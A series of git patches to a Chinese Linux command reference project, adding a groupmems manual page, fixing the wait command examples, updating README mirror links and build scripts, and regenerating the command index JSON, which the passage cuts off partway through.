Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Mon, 12 Sep 2022 15:21:33 +0800 Subject: [PATCH 0552/1019] chore(deps): update dependency uglify-js to ~3.17.0 (#401) --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 8853c3087c8..94419b1f722 100644 --- a/package.json +++ b/package.json @@ -35,7 +35,7 @@ "sitemap-generator": "~8.5.1", "sqlite3": "5.0.8", "stylus": "~0.59.0", - "uglify-js": "~3.16.0" + "uglify-js": "~3.17.0" }, "engines": { "node": ">=16.0.0" From a96946cfde922c199c2ab9e42dc5e5a89dc74fbb Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 14 Sep 2022 16:56:51 +0800 Subject: [PATCH 0553/1019] doc: Update README.md (#422) --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 5f12db0a61a..719b586a54c 100644 --- a/README.md +++ b/README.md @@ -37,6 +37,7 @@ **推荐使用的镜像 web 版本** +[**`qq.wdev.cn`**](https://qq.wdev.cn) [**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/) **其它 web 版本** From 11b13900649d28746536e412c621ee19a2bb3896 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 14 Sep 2022 17:01:08 +0800 Subject: [PATCH 0554/1019] doc: Update README.md --- README.md | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index 719b586a54c..52ca5f882e3 100644 --- a/README.md +++ b/README.md @@ -17,7 +17,7 @@ [Web](#web-版本) | [微信小程序](#微信小程序版本) | [Dash](#dash-版本) | [Raycast](#raycast-版本) | [Alfred](#alfred-版本) | [KDE/Krunner](https://github.com/roachsinai/krunner-linuxcommands) | [Android](https://github.com/Ernest-su/LinuxCmd.git) | [Mac/Win/Linux](https://github.com/haloislet/linux-command) | [Chrome Plugin](#chrome-插件) | [命令行工具](#命令行工具) | [Docker](#docker) -### Web 版本 +## Web 版本 [Github Web](http://jaywcjlove.github.io/linux-command/) | [Gitee Web](http://jaywcjlove.gitee.io/linux-command/) | [Githack](https://raw.githack.com/jaywcjlove/linux-command/gh-pages/index.html) | [Statically](https://cdn.statically.io/gh/jaywcjlove/linux-command/gh-pages/index.html) @@ -44,13 +44,13 @@ [`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/), [`luojianjun.cn`](https://luojianjun.cn/linux-command/) -### 微信小程序版本 +## 微信小程序版本 微信小程序版本，由 [**@Matz Yang**](https://github.com/MatzYang) 提供 [#260](https://github.com/jaywcjlove/linux-command/issues/260)。 -### Chrome 插件 +## Chrome 插件 可在[源码仓库](https://github.com/jaywcjlove/oscnews)预览效果，[Github下载 crx 文件安装](https://github.com/jaywcjlove/oscnews/releases) 或者[开源中国下载 crx 文件安装](https://gitee.com/jaywcjlove/oscnews/releases) 也可通过 Chrome Web Store 下载： @@ -63,7 +63,7 @@
-### Raycast 版本 +## Raycast 版本 [Raycast 版本安装](https://www.raycast.com/jaywcjlove/linux-command)， ([**#338**](https://github.com/jaywcjlove/linux-command/issues/338))下图是界面效果： @@ -81,7 +81,7 @@ -### Alfred 版本 +## Alfred 版本 [Alfred 版本下载](https://github.com/jaywcjlove/linux-command/releases)， 下图是界面效果。 @@ -92,7 +92,7 @@ -### Dash 版本 +## Dash 版本 由 [**@SHANG殇**](https://github.com/xinshangshangxin) 提供的 `Dash` 版本 [#91](https://github.com/jaywcjlove/linux-command/pull/91)，可配合 `alfred` 玩耍，下载 [linux-command.docset.tgz](https://github.com/jaywcjlove/linux-command/releases) 文件解压，点击安装即可。 @@ -104,7 +104,7 @@ -### Android 版本 +## Android 版本 [Android 版本下载](https://github.com/Ernest-su/LinuxCmd/releases)， 下图是界面效果。 @@ -117,7 +117,7 @@ -### 命令行工具 +## 命令行工具 - [`@chenjiandongx/how`](https://github.com/chenjiandongx/how) Python 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129)，由 [**@陈键冬**](https://github.com/chenjiandongx) 提供。 - [`@chenjiandongx/pls`](https://github.com/chenjiandongx/pls) Golang 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129)，由 [**@陈键冬**](https://github.com/chenjiandongx) 提供。 From 2a62de95bdfbb75cc2e291a60ed831acc0433a14 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 27 Sep 2022 23:28:16 +0800 Subject: [PATCH 0555/1019] add `groupmems.md`. (#424) --- command/groupmems.md | 111 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 111 insertions(+) create mode 100644 command/groupmems.md diff --git a/command/groupmems.md b/command/groupmems.md new file mode 100644 index 00000000000..49853af1e95 --- /dev/null +++ b/command/groupmems.md @@ -0,0 +1,111 @@ +groupmems +=== + +管理用户主要组的成员 + +## 补充说明 + +`groupmems` 命令允许用户管理他/她自己的组成员列表，而不需要超级用户权限。`groupmems` 实用程序适用于将其用户配置为以他们自己的名义主组（即来宾/来宾）的系统。 + +只有作为管理员的超级用户可以使用 `groupmems` 来更改其他组的成员资格。 + +### 语法 + +```shell +groupmems -a user_name | -d 用户名 | [-g 用户组名] | -l | -p +``` + +### 选项 + +```bash +-a, --add user_name # 将用户添加到组成员列表。如果 /etc/gshadow 文件存在，并且该组在 /etc/gshadow 文件中没有条目，则将创建一个新条目。 + +-d, --delete user_name +# 从组成员列表中删除用户。 +# 如果 /etc/gshadow 文件存在，用户将从组的成员和管理员列表中删除。 +# 如果 /etc/gshadow 文件存在，并且该组在 /etc/gshadow 文件中没有条目，则将创建一个新条目。 + +-g, --group group_name # 超级用户可以指定要修改的组成员列表。 +-l, --list # 列出组成员列表。 +-p, --purge # 从组成员列表中清除所有用户。 +# 如果 /etc/gshadow 文件存在，并且该组在 /etc/gshadow 文件中没有条目，则将创建一个新条目。 +``` + +## 配置 + +`/etc/login.defs` 中的以下配置变量会更改此工具的行为： + +```shell +MAX_MEMBERS_PER_GROUP (number) +``` + +每个组条目的最大成员数。 当达到最大值时，在 `/etc/group` 中启动一个新的组条目（行）（具有相同的名称、相同的密码和相同的 GID）。 + +默认值为 0，表示组中的成员数量没有限制。 + +此功能（拆分组）允许限制组文件中的行长度。 这有助于确保 NIS 组的行不超过 1024 个字符。 + +如果你需要强制执行这样的限制，你可以使用 25。 + +注意：并非所有工具都支持拆分组（即使在 Shadow 工具包中）。 除非你真的需要它，否则你不应该使用这个变量。 + +## 例子 + +groupmems 可执行文件应该在模式 2770 中作为用户 root 和组组。 系统管理员可以将用户添加到组中，以允许或禁止他们使用 groupmems 实用程序来管理他们自己的组成员列表。 + +```shell +$ groupadd -r groups +$ chmod 2770 groupmems + +$ chown root.groups groupmems +$ groupmems -g groups -a gk4 +``` + +让我们创建一个新用户和一个新组并验证结果： + +```shell +$ useradd student +$ passwd student +$ groupadd staff +``` + +使用户 student 成为组人员的成员： + +```shell +$ groupmems -g staff -a student +$ groupmems -g staff -l +``` + +将用户添加到组： + +```shell +$ groupmems -a mike -g SUPPORT +$ groupmems --add mike -g SUPPORT +``` + +从组中删除/移除用户： + +```shell +$ groupmems -d mike SUPPORT -g SUPPORT +$ groupmems --delete mike SUPPORT -g SUPPORT +``` + +更改组名称： + +```shell +$ groupmems -g SUPPORT +``` + +从组中删除用户： + +```shell +$ groupmems -p -g SUPPORT +$ groupmems --purge -g SUPPORT +``` + +要列出组的成员： + +```shell +$ groupmems -l -g SUPPORT +$ groupmems --list -g SUPPORT +``` \ No newline at end of file From e9cac426da0e0dd7fefcb292378778063f717226 Mon Sep 17 00:00:00 2001 From: chen <39209748+121812@users.noreply.github.com> Date: Fri, 30 Sep 2022 15:09:23 +0800 Subject: [PATCH 0556/1019] Update wait.md (#425) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 修正错误，补全实例 --- command/wait.md | 19 +++++++++++++------ 1 file changed, 13 insertions(+), 6 deletions(-) diff --git a/command/wait.md b/command/wait.md index 7b65af32db7..2d1796719e2 100644 --- a/command/wait.md +++ b/command/wait.md @@ -21,15 +21,22 @@ wait(参数) 使用命令wait等待作业号为1的作业完成后再返回，输入如下命令： +运行一个sleep进程 ```shell -wait %1 #等待作业号为3的作业完成 +sleep 10s & +[1] 27156 ``` - -执行上面的指令后，将输出指定作业号的指令，如下所示： - +指定作业号 ```shell -find / -name password +wait %1 #等待作业号为1的作业完成 +[1]+ Done sleep 10s +``` +指定进程号 +```shell +wait 27156 +[1]+ Done sleep 10s ``` +输出当前存在作业号的指令，如下所示： - +[jobs](https://wangchujiang.com/linux-command/c/jobs.html) From 250bdb2d5b188e356b4ac9c8508b25058320a71c Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 30 Sep 2022 15:13:32 +0800 Subject: [PATCH 0557/1019] doc: update `wait.md` (#425). --- command/wait.md | 2 +- scripts/build.mjs | 10 +++++++++- 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/command/wait.md b/command/wait.md index 2d1796719e2..4066d93e5ba 100644 --- a/command/wait.md +++ b/command/wait.md @@ -39,4 +39,4 @@ wait 27156 输出当前存在作业号的指令，如下所示： -[jobs](https://wangchujiang.com/linux-command/c/jobs.html) +[jobs](./jobs.md) diff --git a/scripts/build.mjs b/scripts/build.mjs index f7c13b392e5..35ef657e1cd 100644 --- a/scripts/build.mjs +++ b/scripts/build.mjs @@ -217,7 +217,15 @@ const contributorsPath = path.resolve(process.cwd(), 'CONTRIBUTORS.svg'); } function markdownToHTML(str) { - return create({ markdown: str, document: undefined, 'dark-mode': false }); + return create({ + rewrite: (node) => { + if (node.type === 'element' && node.properties?.href && /.md/.test(node.properties.href) && !/^(https?:\/\/)/.test(node.properties.href)) { + let href = node.properties.href; + node.properties.href = href.replace(/([^\.\/\\]+)\.(md|markdown)/gi, '$1.html'); + } + }, + markdown: str, document: undefined, 'dark-mode': false + }); } /** From 5f3845f7fe16ce72c2808d301be0457a8ae745f0 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 30 Sep 2022 15:15:54 +0800 Subject: [PATCH 0558/1019] doc: format markdown code. --- command/wait.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/command/wait.md b/command/wait.md index 4066d93e5ba..84c14ebf3e5 100644 --- a/command/wait.md +++ b/command/wait.md @@ -22,16 +22,21 @@ wait(参数) 使用命令wait等待作业号为1的作业完成后再返回，输入如下命令： 运行一个sleep进程 + ```shell sleep 10s & [1] 27156 ``` + 指定作业号 + ```shell wait %1 #等待作业号为1的作业完成 [1]+ Done sleep 10s ``` + 指定进程号 + ```shell wait 27156 [1]+ Done sleep 10s From 3ae594b54c40c65b843a00f00fd54013f1af78a2 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 30 Sep 2022 15:30:42 +0800 Subject: [PATCH 0559/1019] released v1.12.0 --- dist/data.json | 17 ++++++++++++++++- dist/data.min.json | 2 +- package.json | 2 +- 3 files changed, 18 insertions(+), 3 deletions(-) diff --git a/dist/data.json b/dist/data.json index 2ddbe870d6c..12c1d870beb 100644 --- a/dist/data.json +++ b/dist/data.json @@ -2,7 +2,7 @@ "7z": { "n": "7z", "p": "/7z", - "d": "拥有极高压缩比的开源压缩软件。用 7-Zip 解压过：zip、iso、7z压缩文件。" + "d": "拥有极高压缩比的开源压缩软件。" }, "ab": { "n": "ab", @@ -19,6 +19,11 @@ "p": "/ack", "d": "比grep好用的文本搜索工具" }, + "ag": { + "n": "ag", + "p": "/ag", + "d": "ack 的升级版，C语言编写，更快更人性化" + }, "alias": { "n": "alias", "p": "/alias", @@ -884,6 +889,11 @@ "p": "/groupdel", "d": "用于删除指定的工作组" }, + "groupmems": { + "n": "groupmems", + "p": "/groupmems", + "d": "管理用户主要组的成员" + }, "groupmod": { "n": "groupmod", "p": "/groupmod", @@ -2849,6 +2859,11 @@ "p": "/xlsfonts", "d": "列出X Server使用的字体" }, + "xrandr": { + "n": "xrandr", + "p": "/xrandr", + "d": "X 窗口系统配置管理工具" + }, "xset": { "n": "xset", "p": "/xset", diff --git a/dist/data.min.json b/dist/data.min.json index 2d87ddd015d..cf6329a9057 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。用 7-Zip 解压过：zip、iso、7z压缩文件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"创一个bz2文件压缩包"},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"解压缩指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dc":{"n":"dc","p":"/dc","d":"任意精度计算器"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id",